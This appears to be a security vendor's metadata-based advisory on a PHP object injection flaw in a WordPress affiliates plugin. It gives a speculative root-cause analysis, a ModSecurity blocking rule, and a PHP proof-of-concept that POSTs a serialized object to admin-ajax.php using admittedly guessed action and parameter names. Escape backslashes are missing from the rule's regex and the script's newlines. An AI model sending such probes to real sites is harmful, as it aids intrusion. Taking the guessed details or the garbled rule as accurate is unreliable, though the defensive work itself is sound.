Atomic Edge analysis of CVE-2026-24989 (metadata-based):
This vulnerability is an unauthenticated PHP object injection in the SUMO Affiliates Pro WordPress plugin. The flaw exists in versions up to 11.4.0 and allows attackers to inject arbitrary PHP objects via deserialization of untrusted input. The CVSS score of 8.1 reflects a high-severity risk due to the potential for complete system compromise if a suitable gadget chain is present.
Atomic Edge research indicates the root cause is CWE-502, Deserialization of Untrusted Data. The plugin likely passes user-controlled data directly to an insecure deserialization function like `unserialize()` without proper validation. This conclusion is inferred from the CWE classification and the vulnerability description. The absence of a known POP chain within the plugin itself is confirmed by the description, but the core vulnerability of uncontrolled deserialization is the confirmed flaw.
Exploitation likely targets a public-facing WordPress endpoint that accepts serialized data. A common pattern is an AJAX handler registered with `wp_ajax_nopriv_` or a REST API endpoint that does not enforce authentication. The attacker would send a crafted HTTP POST request to `/wp-admin/admin-ajax.php` with an `action` parameter corresponding to a vulnerable plugin hook, such as `affs_*`. The payload would be a serialized PHP object placed in another POST parameter. Without a known POP chain, the injected object may not cause immediate harmful effects, but it demonstrates the injection point.
The remediation likely involved removing the insecure deserialization call or implementing strict validation. The patched version 11.4.0 probably replaced `unserialize()` with a safer alternative like `json_decode()` or added an integrity check using a signature. The fix should also ensure proper authentication and authorization checks are present on the affected endpoint.
Successful exploitation could lead to arbitrary file deletion, sensitive data exposure, or remote code execution. These outcomes depend on the availability of a POP chain, which could be introduced by another plugin or theme on the target site. The attack requires no authentication, making any site running the vulnerable plugin a potential target. The high confidentiality, integrity, and availability impact scores in the CVSS vector reflect these severe potential consequences.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-24989 (metadata-based)
# This rule blocks exploitation targeting the likely AJAX endpoint for the SUMO Affiliates Pro plugin.
# It matches requests to admin-ajax.php with an action parameter starting with the plugin slug 'affs'.
# It then inspects all POST parameters for PHP serialized object patterns.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202624989,phase:2,deny,status:403,chain,msg:'CVE-2026-24989 via SUMO Affiliates Pro AJAX - PHP Object Injection',severity:'CRITICAL',tag:'CVE-2026-24989',tag:'WordPress',tag:'Plugin',tag:'SUMO-Affiliates-Pro'"
SecRule ARGS_POST:action "@rx ^affs_" "chain"
SecRule ARGS_POST "@rx ^(O:d+:"[^"]+":|a:d+:{|s:d+:"[^"]+";|i:d+;|d:d+;|N;|b:[01];|C:d+:"[^"]+":)"
"t:none,t:urlDecodeUni,t:htmlEntityDecode"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24989 - SUMO Affiliates Pro < 11.4.0 - Unauthenticated PHP Object Injection
<?php
/**
* Proof of Concept for CVE-2026-24989.
* This script demonstrates unauthenticated PHP object injection.
* Assumptions: The vulnerable endpoint is an AJAX handler without a nonce check.
* The exact parameter name is unknown but inferred from plugin patterns.
* No known POP chain exists, so the payload is a generic Serializable test object.
*/
$target_url = 'http://target-site.com/wp-admin/admin-ajax.php'; // CHANGE THIS
// A simple test class to demonstrate object injection.
class TestInjection {
public $data = 'Atomic Edge Research - Proof of Concept';
}
// Create the malicious serialized object.
$malicious_object = new TestInjection();
$serialized_payload = serialize($malicious_object);
// Prepare POST data. The 'action' parameter is inferred from the plugin slug 'affs'.
// The 'payload' parameter name is hypothetical; the real vulnerable parameter is unknown.
$post_fields = [
'action' => 'affs_vulnerable_action', // This specific action name is an educated guess.
'vulnerable_param' => $serialized_payload // Common parameter names include 'data', 'input', or 'options'.
];
// Initialize cURL session.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Execute the request.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Analyze the response.
echo "HTTP Response Code: $http_coden";
echo "Response Body (first 500 chars): " . substr($response, 0, 500) . "n";
// A successful injection may not produce an obvious response without a POP chain.
echo "Note: Without a known POP chain, exploitation may be blind.n";
?>
